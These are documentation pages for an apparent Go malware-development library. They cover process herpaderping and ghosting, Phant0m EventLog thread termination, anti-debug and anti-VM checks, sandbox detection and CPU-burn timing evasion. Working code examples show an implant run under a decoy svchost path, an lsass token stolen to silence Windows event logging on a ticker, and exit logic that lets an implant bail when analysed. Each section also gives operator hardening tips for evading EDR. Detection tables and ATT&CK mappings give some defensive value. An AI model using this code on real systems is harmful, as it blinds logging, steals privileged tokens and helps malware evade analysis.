"github.com/oioio-space/maldev/process/tamper/herpaderping"
)
techs := []evasion.Technique{
amsi.ScanBufferPatch(),
herpaderping.Technique(herpaderping.Config{
PayloadPath: "implant.exe",
TargetPath: `C:\Temp\legit.exe`,
DecoyPath: `C:\Windows\System32\svchost.exe`,
}),
}
_ = evasion.ApplyAll(techs, nil)
Auto-temp + random decoy
When the operator doesn't have a specific decoy in mind:
_ = herpaderping.Run(herpaderping.Config{
PayloadPath: "implant.exe",
// TargetPath auto via os.CreateTemp
// DecoyPath omitted — target overwritten with random bytes
})
See ExampleRun
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Sysmon Event ID 25 (ProcessTampering) | Primary detection — kernel detects mapped-image vs file mismatch |
NtCreateSection(SEC_IMAGE) followed by WriteFile on same handle before NtCreateThreadEx | Advanced EDR rule (Elastic, CrowdStrike) |
| Process whose authenticode resolves to decoy but memory layout is a different PE | Mature EDR (Defender for Endpoint) cross-validation |
Mode=Ghosting: file delete-pending then closed before NtCreateProcessEx | ProcessTampering is the primary signal — 26100+ kernel rejects |
Process whose PEB.ProcessParameters.ImagePathName points at a path that vanishes / contains decoy | Live-system triage |
D3FEND counters:
Hardening for the operator:
- Verify the target build before running —
26100+returnsSTATUS_NOT_SUPPORTEDfor both modes. - For
ModeHerpaderping, pick a signed donor decoy whose identity matches a plausible "what runs at this path" story. - For
ModeGhosting, the lack of an on-disk artefact at thread-creation is a stronger primitive — but Sysmon Event 25 fires equally. - Pair with
pe/stripon the payload so memory analysis at runtime doesn't immediately reveal Go-toolchain markers. - Avoid hosts running EDRs that ship Sysmon Event 25 by default (Defender for Endpoint, Elastic, S1).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.013 | Process Doppelgänging | partial — same family of section-cache exploits | D3-PSA, D3-FCA |
| T1055 | Process Injection | full — defense evasion via process tampering | D3-PSA |
| T1027.005 | Indicator Removal from Tools | partial — file-on-disk decoy defeats authenticode-of-disk-image | D3-FCA |
Limitations
- Win11 26100+ blocked. Both modes return
STATUS_NOT_SUPPORTEDon Win11 24H2 / 25H2. - File-write requirement (Herpaderping). Target path must be writable; read-only media or files locked by another process can't be overwritten.
PEB.ProcessParameters.ImagePathName. Points at the target file, which now contains the decoy / is gone — live triage that reads the PE via the path sees the decoy / fails. In-memory PE reconstruction (Volatility, dumpit) still recovers the original.- Win10 minimum.
NtCreateProcessExsemantics differ on older versions. - No 32-bit support. x64 only.
References
- jxy-s — original Herpaderping research: https://jxy-s.github.io/herpaderping/
- Gabriel Landau — Process Ghosting: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
- hasherezade (Jan 2025) — Ghosting on early-26100 builds.
See also
inject— alternative for in-process payload delivery (no fresh process).process/tamper/fakecmd— pair to spoof the spawned process's PEB CommandLine.pe/strip— scrub the payload before mapping.evasion/amsi— pair viaevasion.Techniquechain for in-process AMSI bypass.- Operator path.
- Detection eng path.
Phant0m — EventLog thread termination
TL;DR
Terminate the worker threads of the Windows EventLog service
inside its hosting svchost.exe. The service stays "Running"
in SCM (no 4697 "service stopped" event), but no new entries
are written. Per-thread service-tag validation
(I_QueryTagInformation) ensures only EventLog threads die —
co-hosted services in the same svchost survive. Requires
SeDebugPrivilege. Loud once a defender notices the gap.
Primer
Windows logs almost everything an investigator wants — logons,
service installs, scheduled tasks, PowerShell ScriptBlock,
Sysmon events — into the Windows Event Log. The naive way to
silence it (sc stop EventLog) is itself logged: SCM emits a
"service stopped" event before the kill takes effect.
Phant0m goes around it. The EventLog service is a set of
worker threads inside a shared svchost.exe host. Identify
that host, find the threads tagged as EventLog workers, and
terminate them individually with TerminateThread. SCM still
reports RUNNING; the process is alive; only the workers
are dead. Subsequent ReportEvent / EvtReportEvent calls
queue but never persist.
This technique is loud once detected — defenders watching for EventLog gaps trip on the silence — but the kill itself generates no service-stop signal.
How It Works
flowchart TD
A[OpenSCManager + OpenService] --> B[QueryServiceStatusEx<br>EventLog → host PID]
B --> C[enum.Threads PID]
C --> D{For each TID}
D --> E[OpenThread<br>THREAD_QUERY_INFORMATION]
E --> F[NtQueryInformationThread<br>→ TEB base]
F --> G[ReadProcessMemory<br>TEB+0x1720 → SubProcessTag]
G --> H[I_QueryTagInformation<br>→ service name]
H --> I{name == EventLog?}
I -- yes --> J[OpenThread<br>THREAD_TERMINATE]
J --> K[TerminateThread<br>or NtTerminateThread via caller]
I -- no --> D
K --> D
Service-tag validation uses I_QueryTagInformation (advapi32),
an undocumented-but-stable API used by Task Manager to show
service names per thread. The SubProcessTag is a 32-bit value
stored at offset 0x1720 in the x64 TEB. If the API is
absent (very old systems), the package falls back to
terminating every thread in the EventLog PID.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/tamper/phant0m is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — direct kill
import "github.com/oioio-space/maldev/process/tamper/phant0m"
if err := phant0m.Kill(nil); err != nil {
return
}
Composed — indirect syscall
import (
"github.com/oioio-space/maldev/process/tamper/phant0m"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = phant0m.Kill(caller)
Advanced — token theft + Heartbeat ticker
Steal a SYSTEM token to obtain SeDebugPrivilege, silence the
event log, then re-kill on a built-in ticker so SCM/WMI
re-spawns of the EventLog workers don't undo the kill.
import (
"context"
"log"
"time"
"github.com/oioio-space/maldev/process/tamper/phant0m"
wsyscall "github.com/oioio-space/maldev/win/syscall"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.StealByName("lsass.exe")
defer tok.Close()
_ = tok.EnablePrivilege("SeDebugPrivilege")
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
ctx, cancel := context.WithCancel(context.Background())
defer cancel() // stop the heartbeat at scope exit
go func() {
if err := phant0m.Heartbeat(ctx, 5*time.Second, caller); err != nil &&
!errors.Is(err, context.Canceled) {
log.Printf("phant0m heartbeat: %v", err)
}
}()
// ... noisy work runs here, EventLog stays silent ...
Heartbeat returns the first Kill error synchronously, so the
goroutine bails immediately if the initial silencing fails. After
that, transient Kill errors are silently retried — only the
context cancellation surfaces as a final return.
See ExampleKill.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenThread(THREAD_TERMINATE) against svchost.exe | Sysmon Event 10 (ProcessAccess) — high-fidelity rule when target is svchost hosting EventLog |
TerminateThread / NtTerminateThread from non-svchost lineage | EDR API telemetry — Defender, MDE, S1 ship this |
| EventLog gap | SOC heartbeat / SIEM correlation: "no events from host X for N minutes" |
EventLog service status RUNNING with zero live threads | Sysmon Event 8 (CreateRemoteThread inverse) — defender can poll thread count |
| SACL auditing on svchost.exe | Enterprise SOC may enable; logs the THREAD_TERMINATE open |
| Subsequent log writes failing silently | Defender for Endpoint MsSense detects |
D3FEND counters:
Hardening for the operator:
- Use indirect syscalls via
wsyscall.Callerso the thread-termination doesn't go through hooked WinAPI. - Re-kill on a ticker — SCM may restart the workers on heartbeat checks.
- Pair with
evasion/etwto also blind ETW providers; phant0m only kills the EventLog service, not ETW consumers. - Don't use this on hosts where EventLog forwarding is enterprise-monitored — the gap is itself the detection.
- The
I_QueryTagInformationfallback (kill all threads in PID) breaks co-hosted services — only an issue on hosts where multiple non-EventLog services share that svchost group.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.002 | Impair Defenses: Disable Windows Event Logging | full — service-stop-free silencing | D3-RAPA, D3-PA |
Limitations
- Loud on detection. EventLog gaps are themselves a high-fidelity signal in mature SOCs.
SeDebugPrivilegerequired. Implies SYSTEM or elevated admin context.- x64 only. TEB offset
0x1720is x64-specific. - SCM heartbeat re-spawns workers. Use
Heartbeat(ctx, interval, caller)to ticker-kill the workers as fast as SCM re-spawns them. The first Kill is synchronous (returns its error); subsequent Kills run on the ticker until ctx cancellation. Without the heartbeat, the silence window collapses within seconds. - Per-thread fallback. Without
I_QueryTagInformation, the package terminates every thread in the EventLog PID — breaks co-hosted services. - No persistence. Reboot restores the EventLog service with fresh threads. Pair with persistence to re-arm.
See also
evasion/etw— sibling ETW silencing surface (per-process).win/token— token theft forSeDebugPrivilege.win/syscall— indirect syscall caller forNtTerminateThread.process/enum— sibling discovery helper.- Operator path.
- Detection eng path.
Recon techniques
The recon/* package tree groups discovery + environmental
awareness primitives:
- Anti-analysis — debugger / VM / sandbox detection
(
antidebug,antivm,sandbox,timing). - Hijack discovery — DLL search-order hijack opportunities
(
dllhijack). - Hook detection — hardware breakpoint inspection
(
hwbp). - System enumeration — drives, special folders, network
(
drive,folder,network).
flowchart TB
subgraph anti [Anti-analysis]
AD[antidebug]
AV[antivm]
TIME[timing]
SB[sandbox<br>orchestrator]
AD --> SB
AV --> SB
TIME --> SB
end
subgraph discovery [System discovery]
DRV[drive]
FLD[folder]
NET[network]
end
subgraph hooks [Hook detection]
HWBP[hwbp<br>DR0-DR3]
end
subgraph hijack [Hijack discovery]
DLL[dllhijack<br>services + procs +<br>tasks + autoElevate]
end
SB --> BAIL[bail-on-detect]
HWBP --> CLEAR[clear + unhook]
DLL --> EXPLOIT[validate + deploy]
DRV --> STAGE[USB-stage / SMB-share lateral]
FLD --> PERSIST[persistence path resolution]
NET --> C2[source-aware C2]
Where to start (novice path):
sandbox— multi-factor "is this a real target?" orchestrator. Most operators ship with this at startup.anti-analysis— debugger + VM detection primitives that sandbox composes.dll-hijack— find privilege-escalation opportunities programmatically (services / procs / tasks / autoElevate).drive,folder,network— system enumeration when a specific question needs answering.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
recon/antidebug | anti-analysis.md | quiet | Cross-platform debugger detection (PEB / TracerPid) |
recon/antivm | anti-analysis.md | quiet | Multi-vendor hypervisor detection (7 dimensions) |
recon/sandbox | sandbox.md | quiet | Multi-factor sandbox orchestrator |
recon/timing | timing.md | quiet | CPU-burn defeats Sleep-hook fast-forward |
recon/dllhijack | dll-hijack.md | moderate | Discover DLL search-order hijack opportunities |
recon/hwbp | hw-breakpoints.md | moderate | Detect + clear EDR HWBPs in DR0-DR3 |
recon/drive | drive.md | very-quiet | Drive enum + USB-insert watcher (Windows) |
recon/folder | folder.md | very-quiet | Windows special-folder path resolution |
recon/network | network.md | very-quiet | Cross-platform interface IPs + IsLocal |
Quick decision tree
| You want to… | Use |
|---|---|
| …bail if a debugger is attached | antidebug.IsDebuggerPresent |
| …bail if running in a hypervisor | antivm.Detect |
| …run multi-factor "is this analysis?" | sandbox.New(DefaultConfig).IsSandboxed |
| …burn CPU to defeat Sleep fast-forward | timing.BusyWait |
| …find DLL hijack candidates | dllhijack.ScanAll |
| …UAC bypass via autoElevate hijack | dllhijack.ScanAutoElevate |
| …detect EDR HWBPs in ntdll | hwbp.Detect → ClearAll |
| …list mounted drives + watch removable insertions | drive.NewWatcher |
…resolve %APPDATA% / %PROGRAMDATA% | folder.Get |
| …list host IPs / detect self-references | network.InterfaceIPs / IsLocal |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | antidebug, hwbp | D3-EI |
| T1497 | Virtualization/Sandbox Evasion | sandbox | D3-EI |
| T1497.001 | System Checks | antivm | D3-EI |
| T1497.003 | Time Based Evasion | timing | D3-EI |
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | dllhijack | D3-EAL |
| T1548.002 | Bypass UAC | dllhijack (autoElevate) | D3-EAL |
| T1027.005 | Indicator Removal from Tools | hwbp | D3-PSA |
| T1120 | Peripheral Device Discovery | drive | — |
| T1083 | File and Directory Discovery | folder, drive | — |
| T1016 | System Network Configuration Discovery | network | — |
See also
- Operator path: pre-flight discovery
- Detection eng path
evasion/unhook— pair withhwbp.ClearAllfor full hook clear.win/syscall— direct/indirect syscalls bypass both inline + HWBP.persistence/*— consumesfolder.Getfor path resolution.
Anti-analysis (debugger + VM detection)
TL;DR
Before doing anything risky, ask the host: "am I being analysed?" Two cheap checks run in microseconds and let your implant bail before the analyst's pipeline records anything useful.
Pick the right check based on what you want to detect:
| You want to detect… | Use | Cost | Strength |
|---|---|---|---|
| Live debugger attached | antidebug.IsDebuggerPresent | 1 syscall | Bulletproof for default debuggers; defeated by anti-anti-debug plugins (ScyllaHide etc.) |
| Common sandbox VMs (VirtualBox, VMware, Hyper-V, QEMU, Parallels, Xen, Docker, WSL) | antivm.RunChecks | <100ms | Multi-dimensional (registry + files + NICs + processes + DMI). Checks are vendor-fingerprintable. |
| Modern HVCI/hardware-virt-aware hypervisors | antivm.HypervisorPresent | 1 CPUID | Detects ANY hypervisor (including Hyper-V on a "real" Win11 machine). Use as a soft signal, not a hard bail. |
| Comprehensive scoring across all signals | recon/sandbox | varies | Orchestrator combining the above + idle time + drive count + uptime. |
Recommended startup pattern: bail on debugger immediately
(very-low false-positive), score on VM signals (sandbox vs
real machine is fuzzy), let recon/sandbox arbitrate.
Primer — vocabulary
Five terms recur on this page:
Sandbox — a managed analysis environment (Cuckoo, ANY.RUN, AV vendor labs) that runs your sample in a VM, traces every syscall + network packet, then writes a report. Sandboxes are usually VMs, so VM detection catches most of them.
PEB (Process Environment Block) — Windows per-process structure containing the
BeingDebuggedbyte at offset 0x02. Set by the kernel when a debugger attaches.IsDebuggerPresentreads this flag.CPUID — x86 instruction the CPU answers with its capabilities. The hypervisor-present bit (leaf 1, ECX bit 31) is set by EVERY hypervisor (VMware, KVM, Hyper-V, Xen…) — the hypervisor cannot lie about it without breaking the OS running inside.
DMI (Desktop Management Interface) — a small database the BIOS exposes (manufacturer, product name, chassis type, BIOS vendor). VMs have characteristic DMI strings ("VMware, Inc.", "innotek GmbH" for VirtualBox, "Microsoft Corporation" for Hyper-V) that don't appear on physical machines.
Indicator dimension — a category of fingerprint signal: registry keys (Windows), file paths, NIC MAC prefixes, running process names, BIOS/DMI info, CPUID flags.
antivmruns configurable subsets viaCheckOptions.
How It Works
flowchart LR
subgraph debug [antidebug]
WIN[Windows: IsDebuggerPresent<br>PEB BeingDebugged]
LIN[Linux: /proc/self/status<br>TracerPid != 0]
end
subgraph vm [antivm]
REG[Registry keys<br>HKLM\HARDWARE\…]
FILES[VM driver files<br>vmtoolsd, vbox*]
NIC[MAC prefixes<br>00:0C:29 VMware]
PROC[Process names<br>vmtoolsd, vboxservice]
DMI[DMI info<br>BIOS / chassis]
CPU[CPUID flags<br>hypervisor bit]
end
debug --> OUT[bool / vendor name]
vm --> OUT
OUT --> SANDBOX[recon/sandbox<br>orchestrator]
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/antidebug is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Quick start — startup bail-out triplet
The canonical "is this safe to run?" check at implant startup. Three calls in order: debugger first (cheapest, hard fail), hypervisor probe second (1 CPUID, scoring), full VM scan last (most expensive, hard fail on known-sandbox vendors).
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/recon/antidebug"
"github.com/oioio-space/maldev/recon/antivm"
)
func safeToRun() bool {
// Step 1: hard fail on attached debugger. Cheapest check
// (~one syscall on Windows, one file read on Linux).
if antidebug.IsDebuggerPresent() {
log.Println("debugger attached — bailing")
return false
}
// Step 2: cheap CPUID-based hypervisor probe. Detects ANY
// hypervisor — including Hyper-V on a real Win11
// laptop, so use as a SOFT signal (log + lower
// threshold for further checks), not a hard bail.
if antivm.HypervisorPresent() {
vendor := antivm.HypervisorVendorName()
log.Printf("hypervisor present: %s — running cautiously", vendor)
// continue, but maybe skip the loudest payloads
}
// Step 3: full VM detection across registry / files / NICs /
// processes / DMI. Returns "" when no known sandbox
// fingerprint matches. Hard bail when it does.
if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
log.Printf("sandbox detected: %s — bailing", name)
return false
}
return true
}
func main() {
if !safeToRun() {
os.Exit(0)
}
// ... real implant logic ...
}
What this DOES catch:
- ScyllaHide-free debuggers (x64dbg, Visual Studio, WinDbg out-of-the-box).
- Known sandboxes (Cuckoo, ANY.RUN, JoeSandbox) — they all run on detectable VM stacks.
- VirtualBox / VMware default installs.
What this does NOT catch:
- Hardware-level sandboxes running on bare metal with snapshot rollback. Rare but exist.
- Anti-anti-debug plugins (ScyllaHide, TitanHide) — patch the PEB byte before your check runs.
- Newer sandboxes that scrub VM artefacts (registry / DMI cleanup, MAC randomisation). The CPUID hypervisor bit can still be hidden by some hypervisors via VT-x manipulation.
For higher coverage, layer with recon/sandbox
which adds idle-time + drive-count + uptime + recent-document
heuristics on top of these primitives.
Simple — bail on detection
import (
"os"
"github.com/oioio-space/maldev/recon/antidebug"
"github.com/oioio-space/maldev/recon/antivm"
)
if antidebug.IsDebuggerPresent() {
os.Exit(0)
}
if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
os.Exit(0)
}
Composed — narrow vendor + dimension
cfg := antivm.Config{
Vendors: []antivm.Vendor{
{Name: "VMware", Nic: []string{"00:0C:29"}, Files: []string{`C:\windows\system32\drivers\vmtoolsd.sys`}},
},
Checks: antivm.CheckNIC | antivm.CheckFiles,
}
if name, _ := antivm.Detect(cfg); name != "" {
return
}
Composed — CPUID hypervisor probe (recommended)
import "github.com/oioio-space/maldev/recon/antivm"
// One call covers all three CPUID/timing signals.
// Strongest "am I in a VM" detection userland can produce;
// the timing dimension catches even hypervisors that mask the
// CPUID.1:ECX[31] bit because they cannot hide the VMEXIT cost.
if r := antivm.Hypervisor(); r.LikelyVM {
log.Printf("VM detected: vendor=%q name=%q timing=%d cycles",
r.VendorSig, r.VendorName, r.TimingDelta)
os.Exit(0)
}
If you want finer control over which signals contribute, build the report by hand:
if antivm.HypervisorPresent() ||
antivm.LikelyVirtualizedByTiming(antivm.DefaultRDTSCThreshold) {
os.Exit(0)
}
Privileged — VMware backdoor I/O port (Ring 0 / root only)
BackdoorVMware reads the VMware-specific backdoor port (0x5658,
"VX"). When the hypervisor traps the IN EAX, DX instruction, EBX
echoes the magic ("VMXh") — a definitive VMware signature that
non-VMware HVMs cannot fake. The probe only runs after a
privilege check (Linux: iopl(3) succeeds; Windows: never in
user mode); otherwise [ErrBackdoorPrivilege] is returned and the
caller treats VMware status as unknown.
import (
"errors"
"log"
"github.com/oioio-space/maldev/recon/antivm"
)
rep, err := antivm.BackdoorVMware()
switch {
case errors.Is(err, antivm.ErrBackdoorPrivilege):
log.Println("not privileged — fall back to Hypervisor() vendor check")
case err != nil:
log.Printf("backdoor probe error: %v", err)
case rep.IsVMware:
log.Printf("definitively VMware: echo=%#x ECX=%#x EDX=%#x",
rep.Echo, rep.ECX, rep.EDX)
default:
log.Println("not VMware (or backdoor disabled)")
}
Pair this with the user-mode-friendly Hypervisor() for a
two-tier signal: Hypervisor() always runs and identifies the
generic vendor; BackdoorVMware adds a high-confidence "this is
specifically VMware" bit when Ring 0 / iopl is available.
Advanced — orchestrator integration
See recon/sandbox for the multi-factor
Checker.IsSandboxed — debugger +
VM detection are two of the seven dimensions it composes.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
IsDebuggerPresent Win32 call | Universal — invisible |
/proc/self/status read | Linux: invisible |
| Registry probes against VM driver keys | EDR usually invisible; some sandbox-aware AV may flag patterns |
| MAC-prefix interface enumeration | Universally invisible |
CPUID 0x40000000 (hypervisor leaf) | Invisible to user-mode telemetry |
| Behavioural correlation: many checks then early exit | Sandboxes time-out themselves; correlation is post-fact |
D3FEND counters:
- D3-EI — sandbox executor design.
Hardening for the operator:
- Pair
antidebug+antivmwith timing-based evasion (recon/timing) — sandboxes time out before a multi-second BusyWait completes. - Use
recon/sandboxfor the multi-factor pipeline rather than calling primitives independently.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | full — antidebug.IsDebuggerPresent | D3-EI |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | full — antivm 7 dimensions | D3-EI |
Limitations
- PEB-only on Windows. Sophisticated debuggers can clear
the
BeingDebuggedflag — ScyllaHide and similar harden it. - No anti-VMI. Bare-metal VMI (Volatility-on-host) defeats every userland check.
- VMware-specific backdoor probe ([BackdoorVMware]) needs Ring 0.
The
IN EAX, DXinstruction against port 0x5658 ("VX") only succeeds at IOPL 3 (Linux:iopl(3)syscall, requires CAP_SYS_RAWIO + root) or in kernel-mode (Windows: Ring 0 driver). User-mode probes return [ErrBackdoorPrivilege] without attempting the IN — issuing it from CPL 3 would otherwise SIGSEGV / #GP and crash the process. Pair with [Hypervisor] for the user-mode path (CPUID 0x40000000 vendor read). - Static fingerprints. Vendors who customise OEM strings
in DMI / registry can defeat default fingerprints; supply
custom
Vendorlists for hostile environments. - WSL detection is loose. WSL2 looks very VM-like; expect false positives if WSL is a legitimate target.
- CPUID timing —
DefaultRDTSCThreshold = 1000. Picked above any observed bare-metal CPUID baseline (~30-50 cycles) and below any observed HVM lower bound (~500-3000+). Hyper-V on modern Windows guests sits ~1000-1500 cycles, so the cut-off is tight at the bottom of the VM band — operators on KVM / VMware / Xen comfortably cross 1500. Lower the threshold for paranoid bail-on-any-signal flows; raise it on noisy bare- metal hosts (older CPUs, SMI storms) that occasionally spike past 1000. - CPUID timing — RDTSC traps defeat it. A hypervisor that sets the VMCS "RDTSC exiting" control traps every RDTSC into a VMEXIT, hiding the CPUID-bracketed delta. Production HVMs rarely enable this (per-call cost imposed on every guest is prohibitive) but custom defensive hypervisors targeting malware analysis sometimes do — combine with [HypervisorPresent] / [HypervisorVendor] which reach the hypervisor through a different surface.
- CPUID timing — non-amd64. ARM64 / s390x have no RDTSC
analogue exposed to userland; the stub returns 0 so
LikelyVirtualizedByTimingalways returns false. The CPUID-bit and vendor-string probes are likewise amd64-only.
See also
- Sandbox orchestrator — multi-factor pipeline.
- Time-based evasion — pair to defeat sandbox fast-forward.
- Operator path.
- Detection eng path.
Sandbox detection orchestrator
TL;DR
You want to bail out before doing anything risky if the host looks like a sandbox or analyst's machine. No single signal is conclusive (a low-end laptop has 2 cores too, an admin's hostname might just be "DESKTOP-X1") — so this orchestrator stacks 7 orthogonal dimensions and fires when ANY of them flags.
Each dimension catches a different sandbox class:
| Dimension | Catches | False positive on |
|---|---|---|
| Debugger | Live analyst with attached debugger | nothing in practice |
| VM/Hypervisor | Cuckoo, Joe Sandbox, most public sandboxes | Hyper-V on a real Win11 laptop |
| Hardware (cores / RAM / disk) | Underprovisioned VMs (2 CPU / 4 GB RAM / 60 GB disk baseline) | Low-end real machines |
| User/host name | Generic analyst defaults (admin / user / sandbox / malware / WORKSTATION-1) | Lazy real-user provisioning |
| Analysis tool processes | procmon / wireshark / fiddler / x64dbg actively running | Reverse engineers on real machines |
| Fake-domain DNS | Sandbox internet simulation (every domain resolves) | Captive-portal hotspots |
| Time-based | Sandboxes that fast-forward time.Sleep | Real machines under heavy load |
Quick-pick:
| You want to… | Use | Cost |
|---|---|---|
| Apply the canonical defender-baseline check | DefaultConfig + Checker.IsSandboxed | <100ms total (most checks are syscalls/file reads) |
| Tighten/relax a specific dimension | Mutate Config fields then NewChecker(cfg) | same |
| Stop on first hit (default) vs collect all reasons | Config.StopOnFirst (true/false) | StopOnFirst=false sums all check times |
What this DOES NOT do:
- Doesn't bypass anything — orchestrator only DECIDES.
Pair with
os.Exit(0)or a "play dead" branch in your implant. - No HVCI / hardware-virt-aware probes — that's
recon/antivm.HypervisorPresent. Add manually if you want it scoring. - Time-based check on goroutine dispatch — high-CPU real
hosts can trip the timing dimension. Tune
EvasionTimeoutgenerously or disable when targeting under-resourced Windows servers.
Primer — vocabulary
Five terms recur on this page:
Sandbox — automated analysis environment (Cuckoo, JoeSandbox, ANY.RUN, hybrid-analysis, AV vendor labs) that runs your sample in a VM and traces every syscall + network packet. The implant's job is to bail before producing trace data the analyst can use.
Hardware threshold — a sandbox is usually a VM provisioned with the bare minimum to boot Windows: 2 cores, 4 GB RAM, 60 GB disk. Real user machines have more. Setting min thresholds catches under-provisioned VMs without lying about real laptop baselines (which exceed these by 4-8×).
Fake-domain DNS — most sandboxes simulate internet to keep the sample doing things. Side effect:
nonexistent-deadbeef.invalidresolves with a real-looking IP. A real machine returns NXDOMAIN.Time-based detection — some sandboxes accelerate
Sleep/time.Sleepso the sample doesn't waste analysis budget on long sleep loops. The orchestrator measures wall-clock elapsed during a known-duration sleep; mismatch → sandbox.Indicator dimension — a category of fingerprint signal (debugger / hardware / username / etc.). Each runs independently; the orchestrator combines verdicts.
How It Works
flowchart TD
subgraph cfg [Config dimensions]
DEBUG[Debugger]
VM[VM/Hypervisor]
HW[Hardware<br>cores / RAM / disk]
IDENT[User / hostname]
PROC[Process names]
DNS[Fake-domain DNS]
TIME[Time-based]
end
DEBUG --> AGG[Checker.IsSandboxed]
VM --> AGG
HW --> AGG
IDENT --> AGG
PROC --> AGG
DNS --> AGG
TIME --> AGG
AGG --> OUT{any check fires?}
OUT --> RES[true + reason]
OUT --> NORMAL[false + nil]
Per-dimension tunables in Config: each check has a threshold
and an enable flag. DefaultConfig ships defender-baseline
values; operators harden against specific targets by tightening
or relaxing.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/sandbox is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — defender baseline
import (
"context"
"os"
"github.com/oioio-space/maldev/recon/sandbox"
)
c := sandbox.New(sandbox.DefaultConfig())
if hit, reason, _ := c.IsSandboxed(context.Background()); hit {
fmt.Fprintf(os.Stderr, "bail: %s\n", reason)
os.Exit(0)
}
Composed — strict thresholds
Harden against a specific defender pipeline by raising hardware thresholds and adding custom usernames.
cfg := sandbox.DefaultConfig()
cfg.MinCPUCores = 4
cfg.MinRAMGB = 8
cfg.BadUsernames = append(cfg.BadUsernames,
"test", "demo", "vagrant",
)
c := sandbox.New(cfg)
Advanced — full audit + report
results := c.CheckAll(ctx)
for _, r := range results {
if r.Detected {
fmt.Printf("%-15s %s\n", r.Name, r.Detail)
}
}
Advanced — score-based bail (recommended for tunable noise)
Replace the binary IsSandboxed verdict with a 0..100 score so
operators can tune the bail threshold per engagement.
import "github.com/oioio-space/maldev/recon/sandbox"
c := sandbox.New(sandbox.DefaultConfig())
results := c.CheckAll(ctx)
score := sandbox.Score(results)
if score >= 60 {
log.Printf("bail: sandbox score=%d", score)
return
}
Audit / tune the weights:
for name, w := range sandbox.Weights() {
log.Printf("weight[%s] = %d", name, w)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Many checks then early exit | Sandboxes self-flag — they exhausted their analysis budget |
| Fake-domain DNS resolution | Sandboxes often sinkhole; the DNS query itself is logged |
| Analysis-tool process enumeration | Sandboxes know they run wireshark; the enumeration succeeds |
| BusyWait followed by exit | Time-based sandbox decoys |
D3FEND counters:
- D3-EI — sandbox design itself.
Hardening for the operator:
- Calibrate thresholds against the actual target stack — too strict means false positives on real low-spec targets.
- Layer with
timingBusyWait; sandboxes time out before a 30-second wait completes. - Run the full
IsSandboxedonce at startup, then cache — re-running on every callback is wasted effort.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1497 | Virtualization/Sandbox Evasion | full — multi-factor orchestrator | D3-EI |
Limitations
- No bypass for VMI. Bare-metal volatility analysis defeats every check.
- False positives on low-spec real users. Tightening
hardware thresholds catches sandboxes but may catch real
embedded / minimal-VM targets. The
Scorehelper + operator-chosen threshold gives finer control than the binaryIsSandboxed: a single hardware check failing on a real low-spec target only contributes 3-5 points; the operator's bail threshold (typically 50-70) absorbs that noise. - Score weights are static. The current
detectionWeightsare tuned for "default-defender baseline" target shapes. Targets with unusual hardware (cheap VPS, dense Docker hosts) may need re-weighting viaWeights()audit + a custom aggregator. - DNS check requires outbound resolution. Air-gapped sandboxes that NXDOMAIN everything still defeat the fake-domain probe.
- No rootkit awareness. Hooks installed by sandbox kernel
drivers are out of scope; pair with
evasion/unhook+recon/hwbpfor kernel-hook detection.
See also
antidebug+antivm— primitives.recon/timing— time-based evasion sub-check.- Operator path.
- Detection eng path.
Time-based sandbox evasion
TL;DR
Burn CPU for a real wall-clock duration to defeat sandboxes
that fast-forward Sleep(). Two flavours: tight time-comparison
loop (BusyWait) or primality-testing
loop (BusyWaitPrimality) for a
math-like CPU pattern.
Primer
Sandboxes commonly hook Sleep / WaitForSingleObject to skip
waits and observe what the implant does next. A 30-second
Sleep() becomes a no-op; a 30-second BusyWait does not. The
distinction is subtle but reliable — sandboxes have analysis
budgets, and a 30-second CPU burn forces them to either
fast-forward (impossible — there's no kernel hook for "spin
faster") or use up their budget.
Two implementations, both cross-platform:
BusyWait— repeatedly comparestime.Now()to the deadline. Pinning one core at 100% in a tight comparison is cheap to fingerprint behaviourally.BusyWaitPrimality— burns CPU via primality testing. Same wall-clock effect, more "math workload"-like CPU pattern.
How It Works
sequenceDiagram
participant Imp as "Implant"
participant Hook as "Sandbox<br>(Sleep hook)"
participant CPU
Note over Imp: Naive Sleep — sandbox fast-forwards
Imp->>Hook: Sleep(30 * time.Second)
Hook-->>Imp: instant return
Note over Imp: BusyWait — sandbox can't fast-forward CPU loops
Imp->>CPU: for time.Now() < deadline { … }
CPU-->>Imp: 30 s real wall-clock burned
Note over Imp: Sandbox analysis budget exhausted
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/timing is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — 30-second burn at startup
import (
"time"
"github.com/oioio-space/maldev/recon/timing"
)
timing.BusyWait(30 * time.Second)
// Sandbox analysis budget likely exhausted; continue.
Composed — primality variant
timing.BusyWaitPrimalityN(50_000_000)
// ~30 s on modern hardware; CPU pattern looks like prime sieving.
